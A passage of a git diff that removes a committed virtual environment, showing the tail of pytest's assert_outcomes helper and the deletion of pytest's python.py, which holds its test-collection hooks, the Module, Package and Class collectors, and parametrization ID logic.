passed, "skipped": skipped} - assert obtained == expected, outcomes - - -def assert_outcomes( - outcomes: dict[str, int], - passed: int = 0, - skipped: int = 0, - failed: int = 0, - errors: int = 0, - xpassed: int = 0, - xfailed: int = 0, - warnings: int | None = None, - deselected: int | None = None, -) -> None: - """Assert that the specified outcomes appear with the respective - numbers (0 means it didn't occur) in the text output from a test run.""" - __tracebackhide__ = True - - obtained = { - "passed": outcomes.get("passed", 0), - "skipped": outcomes.get("skipped", 0), - "failed": outcomes.get("failed", 0), - "errors": outcomes.get("errors", 0), - "xpassed": outcomes.get("xpassed", 0), - "xfailed": outcomes.get("xfailed", 0), - } - expected = { - "passed": passed, - "skipped": skipped, - "failed": failed, - "errors": errors, - "xpassed": xpassed, - "xfailed": xfailed, - } - if warnings is not None: - obtained["warnings"] = outcomes.get("warnings", 0) - expected["warnings"] = warnings - if deselected is not None: - obtained["deselected"] = outcomes.get("deselected", 0) - expected["deselected"] = deselected - assert obtained == expected diff --git a/venv/Lib/site-packages/_pytest/python.py b/venv/Lib/site-packages/_pytest/python.py deleted file mode 100644 index 45ff185184b8b2bfde17e41cb22c2bcceecceb6d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/python.py +++ /dev/null @@ -1,1759 +0,0 @@ -# mypy: allow-untyped-defs -"""Python test discovery, setup and run of test functions.""" - -from __future__ import annotations - -import abc -from collections import Counter -from collections import defaultdict -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Mapping -from collections.abc import Sequence -import dataclasses -import enum -import fnmatch -from functools import partial -import inspect -import itertools -import os -from pathlib import Path -import re -import textwrap -import types -from typing import Any -from typing import cast -from typing import final -from typing import Literal -from typing import NoReturn -from typing import TYPE_CHECKING -import warnings - -import _pytest -from _pytest import fixtures -from _pytest import nodes -from _pytest._code import filter_traceback -from _pytest._code import getfslineno -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import TerminalRepr -from _pytest._code.code import Traceback -from _pytest._io.saferepr import saferepr -from _pytest.compat import ascii_escaped -from _pytest.compat import get_default_arg_names -from _pytest.compat import get_real_func -from _pytest.compat import getimfunc -from _pytest.compat import is_async_function -from _pytest.compat import NOTSET -from _pytest.compat import safe_getattr -from _pytest.compat import safe_isclass -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import _resolve_args_directness -from _pytest.fixtures import FixtureDef -from _pytest.fixtures import FixtureRequest -from _pytest.fixtures import FixtureValue -from _pytest.fixtures import FuncFixtureInfo -from _pytest.fixtures import get_scope_node -from _pytest.main import Session -from _pytest.mark import ParameterSet -from _pytest.mark.structures import _HiddenParam -from _pytest.mark.structures import get_unpacked_marks -from _pytest.mark.structures import HIDDEN_PARAM -from _pytest.mark.structures import Mark -from _pytest.mark.structures import MarkDecorator -from _pytest.mark.structures import normalize_mark_list -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.pathlib import fnmatch_ex -from _pytest.pathlib import import_path -from _pytest.pathlib import ImportPathMismatchError -from _pytest.pathlib import scandir -from _pytest.scope import Scope -from _pytest.scope import ScopeName -from _pytest.stash import StashKey -from _pytest.warning_types import PytestCollectionWarning -from _pytest.warning_types import PytestReturnNotNoneWarning - - -if TYPE_CHECKING: - from typing_extensions import Self - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "python_files", - type="args", - # NOTE: default is also used in AssertionRewritingHook. - default=["test_*.py", "*_test.py"], - help="Glob-style file patterns for Python test module discovery", - ) - parser.addini( - "python_classes", - type="args", - default=["Test"], - help="Prefixes or glob names for Python test class discovery", - ) - parser.addini( - "python_functions", - type="args", - default=["test"], - help="Prefixes or glob names for Python test function and method discovery", - ) - parser.addini( - "disable_test_id_escaping_and_forfeit_all_rights_to_community_support", - type="bool", - default=False, - help="Disable string escape non-ASCII characters, might cause unwanted " - "side effects(use at your own risk)", - ) - parser.addini( - "strict_parametrization_ids", - type="bool", - # None => fallback to `strict`. - default=None, - help="Emit an error if non-unique parameter set IDs are detected", - ) - - -def pytest_generate_tests(metafunc: Metafunc) -> None: - for marker in metafunc.definition.iter_markers(name="parametrize"): - metafunc.parametrize(*marker.args, **marker.kwargs, _param_mark=marker) - - -def pytest_configure(config: Config) -> None: - config.addinivalue_line( - "markers", - "parametrize(argnames, argvalues): call a test function multiple " - "times passing in different arguments in turn. argvalues generally " - "needs to be a list of values if argnames specifies only one name " - "or a list of tuples of values if argnames specifies multiple names. " - "Example: @parametrize('arg1', [1,2]) would lead to two calls of the " - "decorated test function, one with arg1=1 and another with arg1=2." - "see https://docs.pytest.org/en/stable/how-to/parametrize.html for more info " - "and examples.", - ) - config.addinivalue_line( - "markers", - "usefixtures(fixturename1, fixturename2, ...): mark tests as needing " - "all of the specified fixtures. see " - "https://docs.pytest.org/en/stable/explanation/fixtures.html#usefixtures ", - ) - - -def async_fail(nodeid: str) -> None: - msg = ( - "async def functions are not natively supported.\n" - "You need to install a suitable plugin for your async framework, for example:\n" - " - anyio\n" - " - pytest-asyncio\n" - " - pytest-tornasync\n" - " - pytest-trio\n" - " - pytest-twisted" - ) - fail(msg, pytrace=False) - - -@hookimpl(trylast=True) -def pytest_pyfunc_call(pyfuncitem: Function) -> object | None: - testfunction = pyfuncitem.obj - if is_async_function(testfunction): - async_fail(pyfuncitem.nodeid) - funcargs = pyfuncitem.funcargs - testargs = {arg: funcargs[arg] for arg in pyfuncitem._fixtureinfo.argnames} - result = testfunction(**testargs) - if hasattr(result, "__await__") or hasattr(result, "__aiter__"): - async_fail(pyfuncitem.nodeid) - elif result is not None: - warnings.warn( - PytestReturnNotNoneWarning( - f"Test functions should return None, but {pyfuncitem.nodeid} returned {type(result)!r}.\n" - "Did you mean to use `assert` instead of `return`?\n" - "See https://docs.pytest.org/en/stable/how-to/assert.html#return-not-none for more information." - ) - ) - return True - - -def pytest_collect_directory( - path: Path, parent: nodes.Collector -) -> nodes.Collector | None: - pkginit = path / "__init__.py" - try: - has_pkginit = pkginit.is_file() - except PermissionError: - # See https://github.com/pytest-dev/pytest/issues/12120#issuecomment-2106349096. - return None - if has_pkginit: - return Package.from_parent(parent, path=path) - return None - - -def pytest_collect_file(file_path: Path, parent: nodes.Collector) -> Module | None: - if file_path.suffix == ".py": - if not parent.session.isinitpath(file_path): - if not path_matches_patterns( - file_path, parent.config.getini("python_files") - ): - return None - ihook = parent.session.gethookproxy(file_path) - module: Module = ihook.pytest_pycollect_makemodule( - module_path=file_path, parent=parent - ) - return module - return None - - -def path_matches_patterns(path: Path, patterns: Iterable[str]) -> bool: - """Return whether path matches any of the patterns in the list of globs given.""" - return any(fnmatch_ex(pattern, path) for pattern in patterns) - - -def pytest_pycollect_makemodule(module_path: Path, parent) -> Module: - return Module.from_parent(parent, path=module_path) - - -@hookimpl(trylast=True) -def pytest_pycollect_makeitem( - collector: Module | Class, name: str, obj: object -) -> None | nodes.Item | nodes.Collector | list[nodes.Item | nodes.Collector]: - assert isinstance(collector, Class | Module), type(collector) - # Nothing was collected elsewhere, let's do it here. - if safe_isclass(obj): - if collector.istestclass(obj, name): - return Class.from_parent(collector, name=name, obj=obj) - elif collector.istestfunction(obj, name): - # mock seems to store unbound methods (issue473), normalize it. - obj = getattr(obj, "__func__", obj) - # We need to try and unwrap the function if it's a functools.partial - # or a functools.wrapped. - # We mustn't if it's been wrapped with mock.patch (python 2 only). - if not (inspect.isfunction(obj) or inspect.isfunction(get_real_func(obj))): - filename, lineno = getfslineno(obj) - warnings.warn_explicit( - message=PytestCollectionWarning( - f"cannot collect {name!r} because it is not a function." - ), - category=None, - filename=str(filename), - lineno=lineno + 1, - ) - elif getattr(obj, "__test__", True): - if inspect.isgeneratorfunction(obj): - fail( - f"'yield' keyword is allowed in fixtures, but not in tests ({name})", - pytrace=False, - ) - return list(collector._genfunctions(name, obj)) - return None - return None - - -class PyobjMixin(nodes.Node): - """this mix-in inherits from Node to carry over the typing information - - as its intended to always mix in before a node - its position in the mro is unaffected""" - - _ALLOW_MARKERS = True - - @property - def module(self): - """Python module object this node was collected from (can be None).""" - node = self.getparent(Module) - return node.obj if node is not None else None - - @property - def cls(self): - """Python class object this node was collected from (can be None).""" - node = self.getparent(Class) - return node.obj if node is not None else None - - @property - def instance(self): - """Python instance object the function is bound to. - - Returns None if not a test method, e.g. for a standalone test function, - a class or a module. - """ - # Overridden by Function. - return None - - @property - def obj(self): - """Underlying Python object.""" - obj = getattr(self, "_obj", None) - if obj is None: - self._obj = obj = self._getobj() - # XXX evil hack - # used to avoid Function marker duplication - if self._ALLOW_MARKERS: - self.own_markers.extend(get_unpacked_marks(self.obj)) - # This assumes that `obj` is called before there is a chance - # to add custom keys to `self.keywords`, so no fear of overriding. - self.keywords.update((mark.name, mark) for mark in self.own_markers) - return obj - - @obj.setter - def obj(self, value): - self._obj = value - - def _getobj(self): - """Get the underlying Python object. May be overwritten by subclasses.""" - # TODO: Improve the type of `parent` such that assert/ignore aren't needed. - assert self.parent is not None - obj = self.parent.obj # type: ignore[attr-defined] - return getattr(obj, self.name) - - def getmodpath(self, stopatmodule: bool = True, includemodule: bool = False) -> str: - """Return Python path relative to the containing module.""" - parts = [] - for node in self.iter_parents(): - name = node.name - if isinstance(node, Module): - name = os.path.splitext(name)[0] - if stopatmodule: - if includemodule: - parts.append(name) - break - parts.append(name) - parts.reverse() - return ".".join(parts) - - def reportinfo(self) -> tuple[os.PathLike[str] | str, int | None, str]: - # XXX caching? - path, lineno = getfslineno(self.obj) - modpath = self.getmodpath() - return path, lineno, modpath - - -# As an optimization, these builtin attribute names are pre-ignored when -# iterating over an object during collection -- the pytest_pycollect_makeitem -# hook is not called for them. -# fmt: off -class _EmptyClass: pass # noqa: E701 -IGNORED_ATTRIBUTES = frozenset.union( - frozenset(), - # Module. - dir(types.ModuleType("empty_module")), - # Some extra module attributes the above doesn't catch. - {"__builtins__", "__file__", "__cached__"}, - # Class. - dir(_EmptyClass), - # Instance. - dir(_EmptyClass()), -) -del _EmptyClass -# fmt: on - - -class PyCollector(PyobjMixin, nodes.Collector, abc.ABC): - def funcnamefilter(self, name: str) -> bool: - return self._matches_prefix_or_glob_option("python_functions", name) - - def isnosetest(self, obj: object) -> bool: - """Look for the __test__ attribute, which is applied by the - @nose.tools.istest decorator. - """ - # We explicitly check for "is True" here to not mistakenly treat - # classes with a custom __getattr__ returning something truthy (like a - # function) as test classes. - return safe_getattr(obj, "__test__", False) is True - - def classnamefilter(self, name: str) -> bool: - return self._matches_prefix_or_glob_option("python_classes", name) - - def istestfunction(self, obj: object, name: str) -> bool: - if self.funcnamefilter(name) or self.isnosetest(obj): - if isinstance(obj, staticmethod | classmethod): - # staticmethods and classmethods need to be unwrapped. - obj = safe_getattr(obj, "__func__", False) - return callable(obj) and fixtures.getfixturemarker(obj) is None - else: - return False - - def istestclass(self, obj: object, name: str) -> bool: - if not (self.classnamefilter(name) or self.isnosetest(obj)): - return False - if inspect.isabstract(obj): - return False - return True - - def _matches_prefix_or_glob_option(self, option_name: str, name: str) -> bool: - """Check if the given name matches the prefix or glob-pattern defined - in configuration.""" - for option in self.config.getini(option_name): - if name.startswith(option): - return True - # Check that name looks like a glob-string before calling fnmatch - # because this is called for every name in each collected module, - # and fnmatch is somewhat expensive to call. - elif ("*" in option or "?" in option or "[" in option) and fnmatch.fnmatch( - name, option - ): - return True - return False - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - if not getattr(self.obj, "__test__", True): - return [] - - # Avoid random getattrs and peek in the __dict__ instead. - dicts = [getattr(self.obj, "__dict__", {})] - if isinstance(self.obj, type): - for basecls in self.obj.__mro__: - dicts.append(basecls.__dict__) - - # In each class, nodes should be definition ordered. - # __dict__ is definition ordered. - seen: set[str] = set() - dict_values: list[list[nodes.Item | nodes.Collector]] = [] - collect_imported_tests = self.session.config.getini("collect_imported_tests") - ihook = self.ihook - for dic in dicts: - values: list[nodes.Item | nodes.Collector] = [] - # Note: seems like the dict can change during iteration - - # be careful not to remove the list() without consideration. - for name, obj in list(dic.items()): - if name in IGNORED_ATTRIBUTES: - continue - if name in seen: - continue - seen.add(name) - - if not collect_imported_tests and isinstance(self, Module): - # Do not collect functions and classes from other modules. - if inspect.isfunction(obj) or inspect.isclass(obj): - if obj.__module__ != self._getobj().__name__: - continue - - res = ihook.pytest_pycollect_makeitem( - collector=self, name=name, obj=obj - ) - if res is None: - continue - elif isinstance(res, list): - values.extend(res) - else: - values.append(res) - dict_values.append(values) - - # Between classes in the class hierarchy, reverse-MRO order -- nodes - # inherited from base classes should come before subclasses. - result = [] - for values in reversed(dict_values): - result.extend(values) - return result - - def _genfunctions(self, name: str, funcobj) -> Iterator[Function]: - modulecol = self.getparent(Module) - assert modulecol is not None - module = modulecol.obj - clscol = self.getparent(Class) - cls = (clscol and clscol.obj) or None - - definition = FunctionDefinition.from_parent(self, name=name, callobj=funcobj) - fixtureinfo = definition._fixtureinfo - - # pytest_generate_tests impls call metafunc.parametrize() which fills - # metafunc._calls, the outcome of the hook. - metafunc = Metafunc( - definition=definition, - fixtureinfo=fixtureinfo, - config=self.config, - cls=cls, - module=module, - _ispytest=True, - ) - methods = [] - if hasattr(module, "pytest_generate_tests"): - methods.append(module.pytest_generate_tests) - if cls is not None and hasattr(cls, "pytest_generate_tests"): - methods.append(cls().pytest_generate_tests) - self.ihook.pytest_generate_tests.call_extra(methods, dict(metafunc=metafunc)) - - if not metafunc._calls: - yield Function.from_parent(self, name=name, fixtureinfo=fixtureinfo) - else: - metafunc._recompute_direct_params_indices() - # Direct parametrizations taking place in module/class-specific - # `metafunc.parametrize` calls may have shadowed some fixtures, so make sure - # we update what the function really needs a.k.a its fixture closure. Note that - # direct parametrizations using `@pytest.mark.parametrize` have already been considered - # into making the closure using `ignore_args` arg to `getfixtureclosure`. - fixtureinfo.prune_dependency_tree() - - for callspec in metafunc._calls: - subname = f"{name}[{callspec.id}]" if callspec._idlist else name - yield Function.from_parent( - self, - name=subname, - callspec=callspec, - fixtureinfo=fixtureinfo, - keywords={callspec.id: True}, - originalname=name, - ) - - -def importtestmodule( - path: Path, - config: Config, -): - # We assume we are only called once per module. - importmode = config.getoption("--import-mode") - try: - mod = import_path( - path, - mode=importmode, - root=config.rootpath, - consider_namespace_packages=config.getini("consider_namespace_packages"), - ) - except SyntaxError as e: - raise nodes.Collector.CollectError( - ExceptionInfo.from_current().getrepr(style="short") - ) from e - except ImportPathMismatchError as e: - raise nodes.Collector.CollectError( - "import file mismatch:\n" - "imported module {!r} has this __file__ attribute:\n" - " {}\n" - "which is not the same as the test file we want to collect:\n" - " {}\n" - "HINT: remove __pycache__ / .pyc files and/or use a " - "unique basename for your test file modules".format(*e.args) - ) from e - except ImportError as e: - exc_info = ExceptionInfo.from_current() - if config.get_verbosity() < 2: - exc_info.traceback = exc_info.traceback.filter(filter_traceback) - exc_repr = ( - exc_info.getrepr(style="short") - if exc_info.traceback - else exc_info.exconly() - ) - formatted_tb = str(exc_repr) - raise nodes.Collector.CollectError( - f"ImportError while importing test module '{path}'.\n" - "Hint: make sure your test modules/packages have valid Python names.\n" - "Traceback:\n" - f"{formatted_tb}" - ) from e - except skip.Exception as e: - if e.allow_module_level: - raise - raise nodes.Collector.CollectError( - "Using pytest.skip outside of a test will skip the entire module. " - "If that's your intention, pass `allow_module_level=True`. " - "If you want to skip a specific test or an entire class, " - "use the @pytest.mark.skip or @pytest.mark.skipif decorators." - ) from e - config.pluginmanager.consider_module(mod) - return mod - - -class Module(nodes.File, PyCollector): - """Collector for test classes and functions in a Python module.""" - - def _getobj(self): - return importtestmodule(self.path, self.config) - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - self._register_setup_module_fixture() - self._register_setup_function_fixture() - self.session._fixturemanager.parsefactories(self) - return super().collect() - - def _register_setup_module_fixture(self) -> None: - """Register an autouse, module-scoped fixture for the collected module object - that invokes setUpModule/tearDownModule if either or both are available. - - Using a fixture to invoke this methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_module = _get_first_non_fixture_func( - self.obj, ("setUpModule", "setup_module") - ) - teardown_module = _get_first_non_fixture_func( - self.obj, ("tearDownModule", "teardown_module") - ) - - if setup_module is None and teardown_module is None: - return - - def xunit_setup_module_fixture(request) -> Generator[None]: - module = request.module - if setup_module is not None: - _call_with_optional_argument(setup_module, module) - yield - if teardown_module is not None: - _call_with_optional_argument(teardown_module, module) - - fixtures.register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_module_fixture_{self.obj.__name__}", - func=xunit_setup_module_fixture, - node=self, - scope="module", - autouse=True, - ) - - def _register_setup_function_fixture(self) -> None: - """Register an autouse, function-scoped fixture for the collected module object - that invokes setup_function/teardown_function if either or both are available. - - Using a fixture to invoke this methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_function = _get_first_non_fixture_func(self.obj, ("setup_function",)) - teardown_function = _get_first_non_fixture_func( - self.obj, ("teardown_function",) - ) - if setup_function is None and teardown_function is None: - return - - def xunit_setup_function_fixture(request) -> Generator[None]: - if request.instance is not None: - # in this case we are bound to an instance, so we need to let - # setup_method handle this - yield - return - function = request.function - if setup_function is not None: - _call_with_optional_argument(setup_function, function) - yield - if teardown_function is not None: - _call_with_optional_argument(teardown_function, function) - - fixtures.register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_function_fixture_{self.obj.__name__}", - func=xunit_setup_function_fixture, - node=self, - scope="function", - autouse=True, - ) - - -class Package(nodes.Directory): - """Collector for files and directories in a Python packages -- directories - with an `__init__.py` file. - - .. note:: - - Directories without an `__init__.py` file are instead collected by - :class:`~pytest.Dir` by default. Both are :class:`~pytest.Directory` - collectors. - - .. versionchanged:: 8.0 - - Now inherits from :class:`~pytest.Directory`. - """ - - def __init__( - self, - fspath: None, - parent: nodes.Collector, - # NOTE: following args are unused: - config=None, - session=None, - nodeid=None, - path: Path | None = None, - ) -> None: - # NOTE: Could be just the following, but kept as-is for compat. - # super().__init__(self, fspath, parent=parent) - session = parent.session - super().__init__( - fspath=fspath, - path=path, - parent=parent, - config=config, - session=session, - nodeid=nodeid, - ) - - def setup(self) -> None: - init_mod = importtestmodule(self.path / "__init__.py", self.config) - - # Not using fixtures to call setup_module here because autouse fixtures - # from packages are not called automatically (#4085). - setup_module = _get_first_non_fixture_func( - init_mod, ("setUpModule", "setup_module") - ) - if setup_module is not None: - _call_with_optional_argument(setup_module, init_mod) - - teardown_module = _get_first_non_fixture_func( - init_mod, ("tearDownModule", "teardown_module") - ) - if teardown_module is not None: - func = partial(_call_with_optional_argument, teardown_module, init_mod) - self.addfinalizer(func) - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - # Always collect __init__.py first. - def sort_key(entry: os.DirEntry[str]) -> object: - return (entry.name != "__init__.py", entry.name) - - config = self.config - col: nodes.Collector | None - cols: Sequence[nodes.Collector] - ihook = self.ihook - for direntry in scandir(self.path, sort_key): - if direntry.is_dir(): - path = Path(direntry.path) - if not self.session.isinitpath(path, with_parents=True): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - col = ihook.pytest_collect_directory(path=path, parent=self) - if col is not None: - yield col - - elif direntry.is_file(): - path = Path(direntry.path) - if not self.session.isinitpath(path): - if ihook.pytest_ignore_collect(collection_path=path, config=config): - continue - cols = ihook.pytest_collect_file(file_path=path, parent=self) - yield from cols - - -def _call_with_optional_argument(func, arg) -> None: - """Call the given function with the given argument if func accepts one argument, otherwise - calls func without arguments.""" - arg_count = func.__code__.co_argcount - if inspect.ismethod(func): - arg_count -= 1 - if arg_count: - func(arg) - else: - func() - - -def _get_first_non_fixture_func(obj: object, names: Iterable[str]) -> object | None: - """Return the attribute from the given object to be used as a setup/teardown - xunit-style function, but only if not marked as a fixture to avoid calling it twice. - """ - for name in names: - meth: object | None = getattr(obj, name, None) - if meth is not None and fixtures.getfixturemarker(meth) is None: - return meth - return None - - -class Class(PyCollector): - """Collector for test methods (and nested classes) in a Python class.""" - - @classmethod - def from_parent(cls, parent, *, name, obj=None, **kw) -> Self: # type: ignore[override] - """The public constructor.""" - return super().from_parent(name=name, parent=parent, **kw) - - def newinstance(self): - return self.obj() - - def collect(self) -> Iterable[nodes.Item | nodes.Collector]: - if not safe_getattr(self.obj, "__test__", True): - return [] - if hasinit(self.obj): - assert self.parent is not None - self.warn( - PytestCollectionWarning( - f"cannot collect test class {self.obj.__name__!r} because it has a " - f"__init__ constructor (from: {self.parent.nodeid})" - ) - ) - return [] - elif hasnew(self.obj): - assert self.parent is not None - self.warn( - PytestCollectionWarning( - f"cannot collect test class {self.obj.__name__!r} because it has a " - f"__new__ constructor (from: {self.parent.nodeid})" - ) - ) - return [] - - self._register_setup_class_fixture() - self._register_setup_method_fixture() - - self.session._fixturemanager.parsefactories( - holder=self.newinstance(), node=self - ) - - return super().collect() - - def _register_setup_class_fixture(self) -> None: - """Register an autouse, class scoped fixture into the collected class object - that invokes setup_class/teardown_class if either or both are available. - - Using a fixture to invoke this methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_class = _get_first_non_fixture_func(self.obj, ("setup_class",)) - teardown_class = _get_first_non_fixture_func(self.obj, ("teardown_class",)) - if setup_class is None and teardown_class is None: - return - - def xunit_setup_class_fixture(request) -> Generator[None]: - cls = request.cls - if setup_class is not None: - func = getimfunc(setup_class) - _call_with_optional_argument(func, cls) - yield - if teardown_class is not None: - func = getimfunc(teardown_class) - _call_with_optional_argument(func, cls) - - fixtures.register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_class_fixture_{self.obj.__qualname__}", - func=xunit_setup_class_fixture, - node=self, - scope="class", - autouse=True, - ) - - def _register_setup_method_fixture(self) -> None: - """Register an autouse, function scoped fixture into the collected class object - that invokes setup_method/teardown_method if either or both are available. - - Using a fixture to invoke these methods ensures we play nicely and unsurprisingly with - other fixtures (#517). - """ - setup_name = "setup_method" - setup_method = _get_first_non_fixture_func(self.obj, (setup_name,)) - teardown_name = "teardown_method" - teardown_method = _get_first_non_fixture_func(self.obj, (teardown_name,)) - if setup_method is None and teardown_method is None: - return - - def xunit_setup_method_fixture(request) -> Generator[None]: - instance = request.instance - method = request.function - if setup_method is not None: - func = getattr(instance, setup_name) - _call_with_optional_argument(func, method) - yield - if teardown_method is not None: - func = getattr(instance, teardown_name) - _call_with_optional_argument(func, method) - - fixtures.register_fixture( - # Use a unique name to speed up lookup. - name=f"_xunit_setup_method_fixture_{self.obj.__qualname__}", - func=xunit_setup_method_fixture, - node=self, - scope="function", - autouse=True, - ) - - -def hasinit(obj: object) -> bool: - init: object = getattr(obj, "__init__", None) - if init: - return init != object.__init__ - return False - - -def hasnew(obj: object) -> bool: - new: object = getattr(obj, "__new__", None) - if new: - return new != object.__new__ - return False - - -@final -@dataclasses.dataclass(frozen=True) -class IdMaker: - """Make IDs for a parametrization.""" - - __slots__ = ( - "argnames", - "config", - "idfn", - "ids", - "nodeid", - "parametersets", - ) - - # The argnames of the parametrization. - argnames: Sequence[str] - # The ParameterSets of the parametrization. - parametersets: Sequence[ParameterSet] - # Optionally, a user-provided callable to make IDs for parameters in a - # ParameterSet. - idfn: Callable[[Any], object | None] | None - # Optionally, explicit IDs for ParameterSets by index. - ids: Sequence[object | None] | None - # Optionally, the pytest config. - # Used for controlling ASCII escaping, determining parametrization ID - # strictness, and for calling the :hook:`pytest_make_parametrize_id` hook. - config: Config | None - # Optionally, the ID of the node being parametrized. - # Used only for clearer error messages. - nodeid: str | None - - def make_unique_parameterset_ids(self) -> list[str | _HiddenParam]: - """Make a unique identifier for each ParameterSet, that may be used to - identify the parametrization in a node ID. - - If strict_parametrization_ids is enabled, and duplicates are detected, - raises CollectError. Otherwise makes the IDs unique as follows: - - Format is -...-[counter], where prm_x_token is - - user-provided id, if given - - else an id derived from the value, applicable for certain types - - else - The counter suffix is appended only in case a string wouldn't be unique - otherwise. - """ - resolved_ids = list(self._resolve_ids()) - # All IDs must be unique! - if len(resolved_ids) != len(set(resolved_ids)): - # Record the number of occurrences of each ID. - id_counts = Counter(resolved_ids) - - if self._strict_parametrization_ids_enabled(): - parameters = ", ".join(self.argnames) - parametersets = ", ".join( - [saferepr(list(param.values)) for param in self.parametersets] - ) - ids = ", ".join( - id if id is not HIDDEN_PARAM else "" for id in resolved_ids - ) - duplicates = ", ".join( - id if id is not HIDDEN_PARAM else "" - for id, count in id_counts.items() - if count > 1 - ) - msg = textwrap.dedent(f""" - Duplicate parametrization IDs detected, but strict_parametrization_ids is set. - - Test name: {self.nodeid} - Parameters: {parameters} - Parameter sets: {parametersets} - IDs: {ids} - Duplicates: {duplicates} - - You can fix this problem using `@pytest.mark.parametrize(..., ids=...)` or `pytest.param(..., id=...)`. - """).strip() # noqa: E501 - raise nodes.Collector.CollectError(msg) - - # Map the ID to its next suffix. - id_suffixes: dict[str, int] = defaultdict(int) - # Suffix non-unique IDs to make them unique. - for index, id in enumerate(resolved_ids): - if id_counts[id] > 1: - if id is HIDDEN_PARAM: - self._complain_multiple_hidden_parameter_sets() - suffix = "" - if id and id[-1].isdigit(): - suffix = "_" - new_id = f"{id}{suffix}{id_suffixes[id]}" - while new_id in set(resolved_ids): - id_suffixes[id] += 1 - new_id = f"{id}{suffix}{id_suffixes[id]}" - resolved_ids[index] = new_id - id_suffixes[id] += 1 - assert len(resolved_ids) == len(set(resolved_ids)), ( - f"Internal error: {resolved_ids=}" - ) - return resolved_ids - - def _strict_parametrization_ids_enabled(self) -> bool: - if self.config is None: - return False - strict_parametrization_ids = self.config.getini("strict_parametrization_ids") - if strict_parametrization_ids is None: - strict_parametrization_ids = self.config.getini("strict") - return cast(bool, strict_parametrization_ids) - - def _resolve_ids(self) -> Iterable[str | _HiddenParam]: - """Resolve IDs for all ParameterSets (may contain duplicates).""" - for idx, parameterset in enumerate(self.parametersets): - if parameterset.id is not None: - # ID provided directly - pytest.param(..., id="...") - if parameterset.id is HIDDEN_PARAM: - yield HIDDEN_PARAM - else: - yield _ascii_escaped_by_config(parameterset.id, self.config) - elif self.ids and idx < len(self.ids) and self.ids[idx] is not None: - # ID provided in the IDs list - parametrize(..., ids=[...]). - if self.ids[idx] is HIDDEN_PARAM: - yield HIDDEN_PARAM - else: - yield self._idval_from_value_required(self.ids[idx], idx) - else: - # ID not provided - generate it. - yield "-".join( - self._idval(val, argname, idx) - for val, argname in zip( - parameterset.values, self.argnames, strict=True - ) - ) - - def _idval(self, val: object, argname: str, idx: int) -> str: - """Make an ID for a parameter in a ParameterSet.""" - idval = self._idval_from_function(val, argname, idx) - if idval is not None: - return idval - idval = self._idval_from_hook(val, argname) - if idval is not None: - return idval - idval = self._idval_from_value(val) - if idval is not None: - return idval - return self._idval_from_argname(argname, idx) - - def _idval_from_function(self, val: object, argname: str, idx: int) -> str | None: - """Try to make an ID for a parameter in a ParameterSet using the - user-provided id callable, if given.""" - if self.idfn is None: - return None - try: - id = self.idfn(val) - except Exception as e: - prefix = f"{self.nodeid}: " if self.nodeid is not None else "" - msg = "error raised while trying to determine id of parameter '{}' at position {}" - msg = prefix + msg.format(argname, idx) - raise ValueError(msg) from e - if id is None: - return None - return self._idval_from_value(id) - - def _idval_from_hook(self, val: object, argname: str) -> str | None: - """Try to make an ID for a parameter in a ParameterSet by calling the - :hook:`pytest_make_parametrize_id` hook.""" - if self.config: - id: str | None = self.config.hook.pytest_make_parametrize_id( - config=self.config, val=val, argname=argname - ) - return id - return None - - def _idval_from_value(self, val: object) -> str | None: - """Try to make an ID for a parameter in a ParameterSet from its value, - if the value type is supported.""" - if isinstance(val, str | bytes): - return _ascii_escaped_by_config(val, self.config) - elif val is None or isinstance(val, float | int | bool | complex): - return str(val) - elif isinstance(val, re.Pattern): - return ascii_escaped(val.pattern) - elif val is NOTSET: - # Fallback to default. Note that NOTSET is an enum.Enum. - pass - elif isinstance(val, enum.Enum): - return str(val) - elif isinstance(getattr(val, "__name__", None), str): - # Name of a class, function, module, etc. - name: str = getattr(val, "__name__") - return name - return None - - def _idval_from_value_required(self, val: object, idx: int) -> str: - """Like _idval_from_value(), but fails if the type is not supported.""" - id = self._idval_from_value(val) - if id is not None: - return id - - # Fail. - prefix = self._make_error_prefix() - msg = ( - f"{prefix}ids contains unsupported value {saferepr(val)} (type: {type(val)!r}) at index {idx}. " - "Supported types are: str, bytes, int, float, complex, bool, enum, regex or anything with a __name__." - ) - fail(msg, pytrace=False) - - @staticmethod - def _idval_from_argname(argname: str, idx: int) -> str: - """Make an ID for a parameter in a ParameterSet from the argument name - and the index of the ParameterSet.""" - return str(argname) + str(idx) - - def _complain_multiple_hidden_parameter_sets(self) -> NoReturn: - fail( - f"{self._make_error_prefix()}multiple instances of HIDDEN_PARAM " - "cannot be used in the same parametrize call, " - "because the tests names need to be unique." - ) - - def _make_error_prefix(self) -> str: - if self.nodeid is not None: - return f"In {self.nodeid}: " - else: - return "" - - -@final -@dataclasses.dataclass(frozen=True) -class CallSpec2: - """A planned parameterized invocation of a test function. - - Calculated during collection for a given test function's Metafunc. - Once collection is over, each callspec is turned into a single Item - and stored in item.callspec. - """ - - # arg name -> arg value which will be passed to a fixture of the same name. - params: dict[str, object] = dataclasses.field(default_factory=dict) - # arg name -> arg index. - indices: dict[str, int] = dataclasses.field(default_factory=dict) - # arg name -> parameter scope. - # Used for sorting parametrized resources. - _arg2scope: Mapping[str, Scope] = dataclasses.field(default_factory=dict) - # Parts which will be added to the item's name in `[..]` separated by "-". - _idlist: Sequence[str] = dataclasses.field(default_factory=tuple) - # Marks which will be applied to the item. - marks: list[Mark] = dataclasses.field(default_factory=list) - - def setmulti( - self, - *, - argnames: Iterable[str], - valset: Iterable[object], - id: str | 